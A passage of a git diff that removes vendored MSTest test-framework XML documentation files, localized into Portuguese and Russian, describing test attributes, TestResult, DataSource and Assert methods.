exceção, incluindo as mensagens para todas as exceções internas - recursivamente - - Exceção ao obter mensagens para - cadeia de caracteres com informações de mensagem de erro - - - - Enumeração para tempos limite, a qual pode ser usada com a classe . - O tipo de enumeração deve corresponder - - - - - O infinito. - - - - - O atributo da classe de teste. - - - - - Obtém um atributo de método de teste que habilita a execução desse teste. - - A instância de atributo do método de teste definida neste método. - O a ser usado para executar esse teste. - Extensions can override this method to customize how all methods in a class are run. - - - - O atributo do método de teste. - - - - - Executa um método de teste. - - O método de teste a ser executado. - Uma matriz de objetos TestResult que representam resultados do teste. - Extensions can override this method to customize running a TestMethod. - - - - O atributo de inicialização do teste. - - - - - O atributo de limpeza do teste. - - - - - O atributo ignorar. - - - - - O atributo de propriedade de teste. - - - - - Inicializa uma nova instância da classe . - - - O nome. - - - O valor. - - - - - Obtém o nome. - - - - - Obtém o valor. - - - - - O atributo de inicialização de classe. - - - - - O atributo de limpeza de classe. - - - - - O atributo de inicialização de assembly. - - - - - O atributo de limpeza de assembly. - - - - - Proprietário do Teste - - - - - Inicializa uma nova instância da classe . - - - O proprietário. - - - - - Obtém o proprietário. - - - - - Atributo de prioridade. Usado para especificar a prioridade de um teste de unidade. - - - - - Inicializa uma nova instância da classe . - - - A prioridade. - - - - - Obtém a prioridade. - - - - - Descrição do teste - - - - - Inicializa uma nova instância da classe para descrever um teste. - - A descrição. - - - - Obtém a descrição de um teste. - - - - - URI de Estrutura do Projeto de CSS - - - - - Inicializa a nova instância da classe para o URI da Estrutura do Projeto CSS. - - O URI da Estrutura do Projeto ECSS. - - - - Obtém o URI da Estrutura do Projeto CSS. - - - - - URI de Iteração de CSS - - - - - Inicializa uma nova instância da classe para o URI de Iteração do CSS. - - O URI de iteração do CSS. - - - - Obtém o URI de Iteração do CSS. - - - - - Atributo WorkItem. Usado para especificar um item de trabalho associado a esse teste. - - - - - Inicializa a nova instância da classe para o Atributo WorkItem. - - A ID para o item de trabalho. - - - - Obtém a ID para o item de trabalho associado. - - - - - Atributo de tempo limite. Usado para especificar o tempo limite de um teste de unidade. - - - - - Inicializa uma nova instância da classe . - - - O tempo limite. - - - - - Inicializa a nova instância da classe com um tempo limite predefinido - - - O tempo limite - - - - - Obtém o tempo limite. - - - - - O objeto TestResult a ser retornado ao adaptador. - - - - - Inicializa uma nova instância da classe . - - - - - Obtém ou define o nome de exibição do resultado. Útil ao retornar vários resultados. - Se for nulo, o nome do Método será usado como o DisplayName. - - - - - Obtém ou define o resultado da execução de teste. - - - - - Obtém ou define a exceção gerada quando o teste falha. - - - - - Obtém ou define a saída da mensagem registrada pelo código de teste. - - - - - Obtém ou define a saída da mensagem registrada pelo código de teste. - - - - - Obtém ou define os rastreamentos de depuração pelo código de teste. - - - - - Gets or sets the debug traces by test code. - - - - - Obtém ou define a duração de execução do teste. - - - - - Obtém ou define o índice de linha de dados na fonte de dados. Defina somente para os resultados de execuções - individuais de um teste controlado por dados. - - - - - Obtém ou define o valor retornado do método de teste. (Sempre nulo no momento). - - - - - Obtém ou define os arquivos de resultado anexados pelo teste. - - - - - Especifica a cadeia de conexão, o nome de tabela e o método de acesso de linha para teste controlado por dados. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - O nome do provedor padrão para a DataSource. - - - - - O método de acesso a dados padrão. - - - - - Inicializa a nova instância da classe . Essa instância será inicializada com um provedor de dados, uma cadeia de conexão, uma tabela de dados e um método de acesso a dados para acessar a fonte de dados. - - Nome do provedor de dados invariável, como System.Data.SqlClient - - Cadeia de conexão específica do provedor de dados. - AVISO: a cadeia de conexão pode conter dados confidenciais (por exemplo, uma senha). - A cadeia de conexão é armazenada em texto sem formatação no código-fonte e no assembly compilado. - Restrinja o acesso ao código-fonte e ao assembly para proteger essas formações confidenciais. - - O nome da tabela de dados. - Especifica a ordem para acessar os dados. - - - - Inicializa a nova instância da classe . Essa instância será inicializada com uma cadeia de conexão e um nome da tabela. - Especifique a cadeia de conexão e a tabela de dados para acessar a fonte de dados OLEDB. - - - Cadeia de conexão específica do provedor de dados. - AVISO: a cadeia de conexão pode conter dados confidenciais (por exemplo, uma senha). - A cadeia de conexão é armazenada em texto sem formatação no código-fonte e no assembly compilado. - Restrinja o acesso ao código-fonte e ao assembly para proteger essas formações confidenciais. - - O nome da tabela de dados. - - - - Inicializa a nova instância da classe . Essa instância será inicializada com um provedor de dados e com uma cadeia de conexão associada ao nome da configuração. - - O nome da fonte de dados encontrada na seção <microsoft.visualstudio.qualitytools> do arquivo app.config. - - - - Obtém o valor que representa o provedor de dados da fonte de dados. - - - O nome do provedor de dados. Se um provedor de dados não foi designado na inicialização do objeto, o provedor de dados padrão de System.Data.OleDb será retornado. - - - - - Obtém o valor que representa a cadeia de conexão da fonte de dados. - - - - - Obtém um valor que indica o nome da tabela que fornece dados. - - - - - Obtém o método usado para acessar a fonte de dados. - - - - Um dos valores. Se o não for inicializado, o valor padrão será retornado . - - - - - Obtém o nome da fonte de dados encontrada na seção <microsoft.visualstudio.qualitytools> no arquivo app.config. - - - - - O atributo para teste controlado por dados em que os dados podem ser especificados de maneira embutida. - - - - - Encontrar todas as linhas de dados e executar. - - - O Método de teste. - - - Uma matriz de . - - - - - Executa o método de teste controlado por dados. - - O método de teste a ser executado. - Linha de Dados. - Resultados de execução. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 8221c4a5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Используется для указания элемента развертывания (файл или каталог) для развертывания каждого теста. - Может указываться для тестового класса или метода теста. - Чтобы указать несколько элементов, можно использовать несколько экземпляров атрибута. - Путь к элементу может быть абсолютным или относительным, в последнем случае он указывается по отношению к RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - Инициализирует новый экземпляр класса . - - Файл или каталог для развертывания. Этот путь задается относительно выходного каталога сборки. Элемент будет скопирован в тот же каталог, что и развернутые сборки теста. - - - - Инициализирует новый экземпляр класса - - Относительный или абсолютный путь к файлу или каталогу для развертывания. Этот путь задается относительно выходного каталога сборки. Элемент будет скопирован в тот же каталог, что и развернутые сборки теста. - Путь к каталогу, в который должны быть скопированы элементы. Он может быть абсолютным или относительным (по отношению к каталогу развертывания). Все файлы и каталоги, обозначенные при помощи будет скопировано в этот каталог. - - - - Получает путь к копируемым исходному файлу или папке. - - - - - Получает путь к каталогу, в который копируется элемент. - - - - - Выполнение кода теста в потоке пользовательского интерфейса для приложений Магазина Windows. - - - - - Выполнение метода теста для потока пользовательского интерфейса. - - - Метод теста. - - - Массив экземпляры. - - Throws when run on an async test method. - - - - - Класс TestContext. Этот класс должен быть полностью абстрактным и не должен содержать ни одного элемента. - Элементы будут реализованы в адаптере. Пользователи платформы должны обращаться к этому классу - только при помощи четко определенного интерфейса. - - - - - Получает свойства теста. - - - - - Получает полное имя класса, содержащего метод теста, который выполняется в данный момент - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Получает имя метода теста, выполняемого в данный момент - - - - - Получает текущий результат теста. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index f278594a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4202 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - TestMethod для выполнения. - - - - - Получает имя метода теста. - - - - - Получает имя тестового класса. - - - - - Получает тип возвращаемого значения метода теста. - - - - - Получает параметры метода теста. - - - - - Получает methodInfo для метода теста. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Вызывает метод теста. - - - Аргументы, передаваемые методу теста (например, для управляемых данными тестов). - - - Результат вызова метода теста. - - - This call handles asynchronous test methods as well. - - - - - Получить все атрибуты метода теста. - - - Допустим ли атрибут, определенный в родительском классе. - - - Все атрибуты. - - - - - Получить атрибут указанного типа. - - System.Attribute type. - - Допустим ли атрибут, определенный в родительском классе. - - - Атрибуты указанного типа. - - - - - Вспомогательный метод. - - - - - Параметр проверки не имеет значения NULL. - - - Параметр. - - - Имя параметра. - - - Сообщение. - - Throws argument null exception when parameter is null. - - - - Параметр проверки не равен NULL или не пуст. - - - Параметр. - - - Имя параметра. - - - Сообщение. - - Throws ArgumentException when parameter is null. - - - - Перечисление, описывающее способ доступа к строкам данных в тестах, управляемых данными. - - - - - Строки возвращаются в последовательном порядке. - - - - - Строки возвращаются в случайном порядке. - - - - - Атрибут для определения встроенных данных для метода теста. - - - - - Инициализирует новый экземпляр класса . - - Объект данных. - - - - Инициализирует новый экземпляр класса , принимающий массив аргументов. - - Объект данных. - Дополнительные данные. - - - - Получает данные для вызова метода теста. - - - - - Получает или задает отображаемое имя в результатах теста для настройки. - - - - - Исключение утверждения с неопределенным результатом. - - - - - Инициализирует новый экземпляр класса . - - Сообщение. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение. - - - - Инициализирует новый экземпляр класса . - - - - - Класс InternalTestFailureException. Используется для указания внутреннего сбоя для тестового случая - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Инициализирует новый экземпляр класса . - - Сообщение об исключении. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение об исключении. - - - - Инициализирует новый экземпляр класса . - - - - - Атрибут, который указывает, что ожидается исключение указанного типа - - - - - Инициализирует новый экземпляр класса ожидаемого типа - - Тип ожидаемого исключения - - - - Инициализирует новый экземпляр класса - ожидаемого типа c сообщением для включения, когда тест не создает исключение. - - Тип ожидаемого исключения - - Сообщение для включения в результат теста, если тест не был пройден из-за того, что не создал исключение - - - - - Получает значение, указывающее тип ожидаемого исключения - - - - - Получает или задает значение, которое означает, являются ли ожидаемыми типы, производные - от типа ожидаемого исключения - - - - - Получает сообщение, включаемое в результаты теста, если он не пройден из-за того, что не возникло исключение - - - - - Проверяет, является ли ожидаемым тип исключения, созданного модульным тестом - - Исключение, созданное модульным тестом - - - - Базовый класс для атрибутов, которые указывают ожидать исключения из модульного теста - - - - - Инициализирует новый экземпляр класса с сообщением об отсутствии исключений по умолчанию - - - - - Инициализирует новый экземпляр класса с сообщением об отсутствии исключений - - - Сообщение для включения в результат теста, если тест не был пройден из-за того, что не создал - исключение - - - - - Получает сообщение, включаемое в результаты теста, если он не пройден из-за того, что не возникло исключение - - - - - Получает сообщение, включаемое в результаты теста, если он не пройден из-за того, что не возникло исключение - - - - - Получает сообщение по умолчанию об отсутствии исключений - - Название типа для атрибута ExpectedException - Сообщение об отсутствии исключений по умолчанию - - - - Определяет, ожидается ли исключение. Если метод возвращает управление, то - считается, что ожидалось исключение. Если метод создает исключение, то - считается, что исключение не ожидалось, и сообщение созданного исключения - включается в результат теста. Для удобства можно использовать класс . - Если используется и утверждение завершается с ошибкой, - то результат теста будет неопределенным. - - Исключение, созданное модульным тестом - - - - Повторно создать исключение при возникновении исключения AssertFailedException или AssertInconclusiveException - - Исключение, которое необходимо создать повторно, если это исключение утверждения - - - - Этот класс предназначен для пользователей, выполняющих модульное тестирование для универсальных типов. - GenericParameterHelper удовлетворяет некоторым распространенным ограничениям для универсальных типов, - например. - 1. Открытый конструктор по умолчанию - 2. Реализует общий интерфейс: IComparable, IEnumerable - - - - - Инициализирует новый экземпляр класса , который - удовлетворяет ограничению newable в универсальных типах C#. - - - This constructor initializes the Data property to a random value. - - - - - Инициализирует новый экземпляр класса , который - инициализирует свойство Data в указанное пользователем значение. - - Любое целочисленное значение - - - - Получает или задает данные - - - - - Сравнить значения двух объектов GenericParameterHelper - - объект, с которым будет выполнено сравнение - True, если obj имеет то же значение, что и объект "this" GenericParameterHelper. - В противном случае False. - - - - Возвращает хэш-код для этого объекта. - - Хэш-код. - - - - Сравнивает данные двух объектов . - - Объект для сравнения. - - Число со знаком, указывающее относительные значения этого экземпляра и значения. - - - Thrown when the object passed in is not an instance of . - - - - - Возвращает объект IEnumerator, длина которого является производной - от свойства Data. - - Объект IEnumerator - - - - Возвращает объект GenericParameterHelper, равный - текущему объекту. - - Клонированный объект. - - - - Позволяет пользователям регистрировать/записывать трассировки от модульных тестов для диагностики. - - - - - Обработчик LogMessage. - - Сообщение для записи в журнал. - - - - Прослушиваемое событие. Возникает, когда средство записи модульных тестов записывает сообщение. - Главным образом используется адаптером. - - - - - API, при помощи которого средство записи теста будет обращаться к сообщениям журнала. - - Строка формата с заполнителями. - Параметры для заполнителей. - - - - Атрибут TestCategory; используется для указания категории модульного теста. - - - - - Инициализирует новый экземпляр класса и применяет категорию к тесту. - - - Категория теста. - - - - - Возвращает или задает категории теста, которые были применены к тесту. - - - - - Базовый класс для атрибута Category - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Инициализирует новый экземпляр класса . - Применяет к тесту категорию. Строки, возвращаемые TestCategories , - используются с командой /category для фильтрации тестов - - - - - Возвращает или задает категорию теста, которая была применена к тесту. - - - - - Класс AssertFailedException. Используется для указания сбоя тестового случая - - - - - Инициализирует новый экземпляр класса . - - Сообщение. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение. - - - - Инициализирует новый экземпляр класса . - - - - - Коллекция вспомогательных классов для тестирования различных условий в - модульных тестах. Если проверяемое условие - ложно, создается исключение. - - - - - Получает одноэлементный экземпляр функции Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Проверяет, является ли указанное условие истинным, и создает исключение, - если условие ложно. - - - Условие, которое должно быть истинным с точки зрения теста. - - - Thrown if is false. - - - - - Проверяет, является ли указанное условие истинным, и создает исключение, - если условие ложно. - - - Условие, которое должно быть истинным с точки зрения теста. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение False. Сообщение отображается в результатах теста. - - - Thrown if is false. - - - - - Проверяет, является ли указанное условие истинным, и создает исключение, - если условие ложно. - - - Условие, которое должно быть истинным с точки зрения теста. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение False. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is false. - - - - - Проверяет, является ли указанное условие ложным, и создает исключение, - если условие истинно. - - - Условие, которое с точки зрения теста должно быть ложным. - - - Thrown if is true. - - - - - Проверяет, является ли указанное условие ложным, и создает исключение, - если условие истинно. - - - Условие, которое с точки зрения теста должно быть ложным. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение True. Сообщение отображается в результатах теста. - - - Thrown if is true. - - - - - Проверяет, является ли указанное условие ложным, и создает исключение, - если условие истинно. - - - Условие, которое с точки зрения теста должно быть ложным. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение True. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is true. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он не равен NULL. - - - Объект, который с точки зрения теста должен быть равен NULL. - - - Thrown if is not null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он не равен NULL. - - - Объект, который с точки зрения теста должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение, отличное от NULL. Сообщение отображается в результатах теста. - - - Thrown if is not null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он не равен NULL. - - - Объект, который с точки зрения теста должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение, отличное от NULL. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is not null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он равен NULL. - - - Объект, который не должен быть равен NULL. - - - Thrown if is null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он равен NULL. - - - Объект, который не должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение NULL. Сообщение отображается в результатах теста. - - - Thrown if is null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он равен NULL. - - - Объект, который не должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение NULL. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is null. - - - - - Проверяет, ссылаются ли указанные объекты на один и тот же объект, и - создает исключение, если два входных значения не ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — ожидаемое тестом значение. - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Thrown if does not refer to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на один и тот же объект, и - создает исключение, если два входных значения не ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — ожидаемое тестом значение. - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается - в результатах тестирования. - - - Thrown if does not refer to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на один и тот же объект, и - создает исключение, если два входных значения не ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — ожидаемое тестом значение. - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается - в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not refer to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на разные объекты, и - создает исключение, если два входных значения ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Thrown if refers to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на разные объекты, и - создает исключение, если два входных значения ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if refers to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на разные объекты, и - создает исключение, если два входных значения ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if refers to the same object - as . - - - - - Проверяет указанные значения на равенство и создает исключение, - если два значения не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это — ожидаемое тестом значение. - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Thrown if is not equal to . - - - - - Проверяет указанные значения на равенство и создает исключение, - если два значения не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это — ожидаемое тестом значение. - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные значения на равенство и создает исключение, - если два значения не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это — ожидаемое тестом значение. - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные значения на неравенство и создает исключение, - если два значения равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это значение с точки зрения теста не должно - соответствовать . - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Thrown if is equal to . - - - - - Проверяет указанные значения на неравенство и создает исключение, - если два значения равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это значение с точки зрения теста не должно - соответствовать . - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные значения на неравенство и создает исключение, - если два значения равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это значение с точки зрения теста не должно - соответствовать . - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные объекты на равенство и создает исключение, - если два объекта не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — ожидаемый тестом объект. - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Thrown if is not equal to - . - - - - - Проверяет указанные объекты на равенство и создает исключение, - если два объекта не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — ожидаемый тестом объект. - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные объекты на равенство и создает исключение, - если два объекта не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — ожидаемый тестом объект. - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные объекты на неравенство и создает исключение, - если два объекта равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Thrown if is equal to . - - - - - Проверяет указанные объекты на неравенство и создает исключение, - если два объекта равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные объекты на неравенство и создает исключение, - если два объекта равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой для сравнения. Это число с плавающей запятой с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой для сравнения. Это число с плавающей запятой с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой для сравнения. Это число с плавающей запятой с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Thrown if is not equal to - . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is not equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это — ожидаемое тестом число. - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - более чем на . - - - Сообщение, которое будет добавлено в исключение, если - отличается от более чем на - . Сообщение отображается в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это число с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой двойной точности для сравнения. Это число с точки зрения теста не должно - соответствовать . - - - Второе число с плавающей запятой двойной точности для сравнения. Это — число, созданное тестируемым кодом. - - - Требуемая точность. Исключение будет создано, только если - отличается от - не более чем на . - - - Сообщение, которое будет добавлено в исключение, если - равен или отличается менее чем на - . Сообщение отображается в результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой двойной точности на неравенство и создает исключение, - если они равны. - - - Первое число с плавающей запятой 